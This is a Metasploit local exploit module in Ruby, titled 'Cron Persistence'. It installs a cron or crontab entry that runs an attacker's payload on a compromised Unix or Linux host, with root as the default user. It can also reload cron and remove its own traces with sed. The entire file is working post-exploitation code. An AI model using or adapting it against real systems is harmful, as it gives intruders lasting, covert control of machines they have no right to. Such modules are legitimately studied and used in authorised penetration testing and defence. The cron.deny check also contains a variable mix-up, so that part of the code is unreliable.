##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Cron Persistence',
        'Description'    => %q(
          This module will create a cron or crontab entry to execute a payload.
          The module includes the ability to automatically clean up those entries to prevent multiple executions.
          syslog will get a copy of the cron entry.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>'
          ],
        'Platform'       => ['unix', 'linux'],
        'Targets'        =>
          [
            [ 'Cron',           { :path => '/etc/cron.d' } ],
            [ 'User Crontab',   { :path => '/var/spool/cron' } ],
            [ 'System Crontab', { :path => '/etc' } ]
          ],
        'DefaultTarget'  => 1,
        'Arch'           => ARCH_CMD,
        'Payload'        =>
        {
          'BadChars'   => "#%\x10\x13", # is for comments, % is for newline
          'Compat'     =>
          {
            'PayloadType'  => 'cmd',
            'RequiredCmd'  => 'generic perl ruby python'
          }
        },
        'DefaultOptions' => { 'WfsDelay' => 90 },
        'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
        OptString.new('TIMING', [false, 'cron timing.  Changing will require WfsDelay to be adjusted', '* * * * *']),
        OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
      ], self.class
    )
  end

  def exploit
    # https://gist.github.com/istvanp/310203 for cron regex validator
    cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
    cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
    cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
    # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
    unless datastore['TIMING'] =~ /#{cron_regex}/
      fail_with(Failure::BadConfig, 'Invalid timing format')
    end
    cron_entry = datastore['TIMING']
    if target.name.include? 'User Crontab'
      unless user_cron_permission?(datastore['USERNAME'])
        fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
      end
    else
      cron_entry += " #{datastore['USERNAME']}"
    end
    flag = Rex::Text.rand_text_alpha(10)
    cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
    case target.name
    when 'Cron'
      our_entry = Rex::Text.rand_text_alpha(10)
      write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
      vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
      if datastore['CLEANUP']
        register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
      end
    when 'System Crontab'
      file_to_clean = "#{target.opts[:path]}/crontab"
      append_file(file_to_clean, "\n#{cron_entry}\n")
      vprint_good("Writing #{cron_entry} to #{file_to_clean}")
    when 'User Crontab'
      file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
      append_file(file_to_clean, "\n#{cron_entry}\n")
      vprint_good("Writing #{cron_entry} to #{file_to_clean}")
      # at least on ubuntu, we need to reload cron to get this to work
      vprint_status('Reloading cron to pickup new entry')
      cmd_exec("service cron reload")
    end
    print_status("Waiting #{datastore['WfsDelay']}sec for execution")
    Rex.sleep(datastore['WfsDelay'].to_i)
    # we may need to do some cleanup, no need for cron since that uses file dropper
    # we could run this on a on_successful_session, but we want cleanup even if it fails
    if file_to_clean && flag && datastore['CLEANUP']
      print_status("Removing our cron entry from #{file_to_clean}")
      cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
      cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
      # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
      if target.name == 'User Crontab' # make sure we clean out of memory
        cmd_exec("service cron reload")
      end
    end
  end

  def user_cron_permission?(user)
    # double check we're allowed to do cron
    # may also be /etc/cron.d/
    paths = ['/etc/', '/etc/cron.d/']
    paths.each do |path|
      cron_auth = read_file("#{path}cron.allow")
      if cron_auth
        if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
          vprint_good("User located in #{path}cron.allow")
          return true
        end
      end
      cron_auths = read_file("#{path}cron.deny")
      if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
        vprint_error("User located in #{path}cron.deny")
        return false
      end
    end
    # no guidance, so we should be fine
    true
  end
end
